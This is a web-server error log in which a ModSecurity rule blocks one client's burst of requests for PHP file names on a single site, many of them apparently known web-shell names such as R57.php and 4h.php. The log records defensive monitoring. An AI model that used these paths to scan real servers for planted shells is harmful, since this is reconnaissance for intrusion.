[Thu Feb 26 21:05:10.589984 2026] [:error] [pid 25311:tid 25337] [client 20.216.146.160:39871] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaBFBtfdM__yZAgJFSvdOgAAAZc"]
[Thu Feb 26 21:05:11.061493 2026] [:error] [pid 25311:tid 25317] [client 20.216.146.160:11468] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/R57.php"] [unique_id "aaBFB9fdM__yZAgJFSvdPAAAAYM"]
[Thu Feb 26 21:05:11.539027 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:38605] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/R57.php"] [unique_id "aaBFB-A33x90V6yYHajgggAAAVA"]
[Thu Feb 26 21:05:12.011803 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:11504] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/R57.php"] [unique_id "aaBFCNfdM__yZAgJFSvdQgAAAY0"]
[Thu Feb 26 21:05:12.480269 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:11518] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/R57.php"] [unique_id "aaBFCG2sMNmj-yekUk0XogAAAhY"]
[Thu Feb 26 21:05:12.950109 2026] [:error] [pid 55618:tid 55631] [client 20.216.146.160:15007] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4h.php"] [unique_id "aaBFCB61Vrh12f_8oWQJjwAAAQo"]
[Thu Feb 26 21:05:13.425114 2026] [:error] [pid 20419:tid 20422] [client 20.216.146.160:39811] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4h.php"] [unique_id "aaBFCe3DVDvMfTYYUBVS6gAAAcA"]
[Thu Feb 26 21:05:13.908686 2026] [:error] [pid 54990:tid 54996] [client 20.216.146.160:11486] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4h.php"] [unique_id "aaBFCXtr2qmt_mBhH2wnFQAAAAM"]
[Thu Feb 26 21:05:14.378078 2026] [:error] [pid 55618:tid 55643] [client 20.216.146.160:45495] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4h.php"] [unique_id "aaBFCh61Vrh12f_8oWQJlwAAARY"]
[Thu Feb 26 21:05:14.847029 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:20362] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yussef.php"] [unique_id "aaBFCuA33x90V6yYHajgiAAAAU0"]
[Thu Feb 26 21:05:15.321326 2026] [:error] [pid 54991:tid 55022] [client 20.216.146.160:16549] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yussef.php"] [unique_id "aaBFC94Zx-mJ8gbRB2jkFgAAAEI"]
[Thu Feb 26 21:05:15.793708 2026] [:error] [pid 20419:tid 20423] [client 20.216.146.160:20366] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yussef.php"] [unique_id "aaBFC-3DVDvMfTYYUBVS7wAAAcE"]
[Thu Feb 26 21:05:16.265450 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:11485] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yussef.php"] [unique_id "aaBFDO3DVDvMfTYYUBVS8QAAAdM"]
[Thu Feb 26 21:05:16.742401 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:11781] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aaBFDOA33x90V6yYHajgjgAAAUY"]
[Thu Feb 26 21:05:17.212935 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:44485] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aaBFDQmK1w2kZvh5eLGncQAAAIs"]
[Thu Feb 26 21:05:17.697127 2026] [:error] [pid 55051:tid 55076] [client 20.216.146.160:11502] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aaBFDQmK1w2kZvh5eLGndQAAAJY"]
[Thu Feb 26 21:05:18.166128 2026] [:error] [pid 25311:tid 25314] [client 20.216.146.160:32868] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aaBFDtfdM__yZAgJFSvdRwAAAYA"]
[Thu Feb 26 21:05:18.641231 2026] [:error] [pid 25311:tid 25319] [client 20.216.146.160:44525] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaBFDtfdM__yZAgJFSvdSQAAAYU"]
[Thu Feb 26 21:05:19.112090 2026] [:error] [pid 25311:tid 25325] [client 20.216.146.160:55245] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaBFD9fdM__yZAgJFSvdSwAAAYs"]
[Thu Feb 26 21:05:19.582213 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:20368] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaBFD-A33x90V6yYHajgmQAAAU4"]
[Thu Feb 26 21:05:20.066068 2026] [:error] [pid 44444:tid 44468] [client 20.216.146.160:27933] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaBFEG2sMNmj-yekUk0XqQAAAhI"]
[Thu Feb 26 21:05:20.535341 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:44508] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zu.php"] [unique_id "aaBFEG2sMNmj-yekUk0XqgAAAgQ"]
[Thu Feb 26 21:05:21.007545 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:44494] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zu.php"] [unique_id "aaBFEeA33x90V6yYHajgnwAAAVQ"]
[Thu Feb 26 21:05:21.478973 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:27937] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zu.php"] [unique_id "aaBFEW2sMNmj-yekUk0XrgAAAhM"]
[Thu Feb 26 21:05:21.948423 2026] [:error] [pid 44444:tid 44459] [client 20.216.146.160:31514] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zu.php"] [unique_id "aaBFEW2sMNmj-yekUk0XsQAAAgk"]
[Thu Feb 26 21:05:22.416583 2026] [:error] [pid 25311:tid 25328] [client 20.216.146.160:32845] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alpha.php"] [unique_id "aaBFEtfdM__yZAgJFSvdUAAAAY4"]
[Thu Feb 26 21:05:22.885242 2026] [:error] [pid 25311:tid 25322] [client 20.216.146.160:31536] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alpha.php"] [unique_id "aaBFEtfdM__yZAgJFSvdUQAAAYg"]
[Thu Feb 26 21:05:23.384074 2026] [:error] [pid 20419:tid 20442] [client 20.216.146.160:32832] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alpha.php"] [unique_id "aaBFE-3DVDvMfTYYUBVS-QAAAdQ"]
[Thu Feb 26 21:05:23.855236 2026] [:error] [pid 20419:tid 20435] [client 20.216.146.160:44488] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alpha.php"] [unique_id "aaBFE-3DVDvMfTYYUBVS_QAAAc0"]
[Thu Feb 26 21:05:24.323998 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:27958] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaBFFG2sMNmj-yekUk0XvwAAAhQ"]
[Thu Feb 26 21:05:24.805483 2026] [:error] [pid 3883:tid 3886] [client 20.216.146.160:56287] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaBFFOA33x90V6yYHajgrAAAAUA"]
[Thu Feb 26 21:05:25.283345 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:45453] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaBFFeA33x90V6yYHajgsAAAAUo"]
[Thu Feb 26 21:05:25.759485 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:44496] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaBFFeA33x90V6yYHajguQAAAUI"]
[Thu Feb 26 21:05:26.239651 2026] [:error] [pid 55051:tid 55067] [client 20.216.146.160:56310] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaBFFgmK1w2kZvh5eLGnfQAAAI0"]
[Thu Feb 26 21:05:26.721384 2026] [:error] [pid 55051:tid 55054] [client 20.216.146.160:31491] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaBFFgmK1w2kZvh5eLGnfgAAAIA"]
[Thu Feb 26 21:05:27.194763 2026] [:error] [pid 55051:tid 55058] [client 20.216.146.160:56270] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaBFFwmK1w2kZvh5eLGngAAAAIQ"]
[Thu Feb 26 21:05:27.665905 2026] [:error] [pid 20419:tid 20425] [client 20.216.146.160:26773] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaBFF-3DVDvMfTYYUBVS_gAAAcM"]
[Thu Feb 26 21:05:28.138376 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:5774] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ze.php"] [unique_id "aaBFGNfdM__yZAgJFSvdbAAAAYk"]
[Thu Feb 26 21:05:28.610954 2026] [:error] [pid 20419:tid 20426] [client 20.216.146.160:20241] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ze.php"] [unique_id "aaBFGO3DVDvMfTYYUBVS_wAAAcQ"]
[Thu Feb 26 21:05:29.085208 2026] [:error] [pid 44444:tid 44452] [client 20.216.146.160:33374] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ze.php"] [unique_id "aaBFGW2sMNmj-yekUk0X9AAAAgI"]
[Thu Feb 26 21:05:29.562632 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:45452] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ze.php"] [unique_id "aaBFGeA33x90V6yYHajgxAAAAUI"]
[Thu Feb 26 21:05:30.043562 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:33369] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBFGuA33x90V6yYHajgyQAAAUs"]
[Thu Feb 26 21:05:30.525120 2026] [:error] [pid 20419:tid 20444] [client 20.216.146.160:20230] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBFGu3DVDvMfTYYUBVTAQAAAdY"]
[Thu Feb 26 21:05:30.996802 2026] [:error] [pid 54990:tid 55003] [client 20.216.146.160:33585] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBFGntr2qmt_mBhH2wnGQAAAAo"]
[Thu Feb 26 21:05:31.466194 2026] [:error] [pid 55051:tid 55061] [client 20.216.146.160:20233] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seetox.php"] [unique_id "aaBFGwmK1w2kZvh5eLGniAAAAIc"]
[Thu Feb 26 21:05:31.938235 2026] [:error] [pid 55618:tid 55645] [client 20.216.146.160:45466] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aaBFGx61Vrh12f_8oWQJ4AAAARg"]
[Thu Feb 26 21:05:32.406924 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:36644] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aaBFHG2sMNmj-yekUk0X-gAAAgo"]
[Thu Feb 26 21:05:32.875135 2026] [:error] [pid 55618:tid 55642] [client 20.216.146.160:56286] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aaBFHB61Vrh12f_8oWQJ4gAAARU"]
[Thu Feb 26 21:05:33.344318 2026] [:error] [pid 55051:tid 55062] [client 20.216.146.160:26798] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aaBFHQmK1w2kZvh5eLGnjAAAAIg"]
[Thu Feb 26 21:05:33.817134 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:33536] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBFHeA33x90V6yYHajg0wAAAUM"]
[Thu Feb 26 21:05:34.293374 2026] [:error] [pid 3883:tid 3887] [client 20.216.146.160:31756] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBFHuA33x90V6yYHajg1wAAAUE"]
[Thu Feb 26 21:05:34.778279 2026] [:error] [pid 3883:tid 3909] [client 20.216.146.160:33363] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBFHuA33x90V6yYHajg2gAAAVc"]
[Thu Feb 26 21:05:35.251520 2026] [:error] [pid 3883:tid 3891] [client 20.216.146.160:56305] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/plugins.php"] [unique_id "aaBFH-A33x90V6yYHajg3gAAAUU"]
[Thu Feb 26 21:05:35.720184 2026] [:error] [pid 55051:tid 55073] [client 20.216.146.160:20250] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xoot.php"] [unique_id "aaBFHwmK1w2kZvh5eLGnkAAAAJM"]
[Thu Feb 26 21:05:36.188919 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:26760] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xoot.php"] [unique_id "aaBFIAmK1w2kZvh5eLGnkgAAAIs"]
[Thu Feb 26 21:05:36.658147 2026] [:error] [pid 55618:tid 55629] [client 20.216.146.160:11421] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xoot.php"] [unique_id "aaBFIB61Vrh12f_8oWQJ5AAAAQg"]
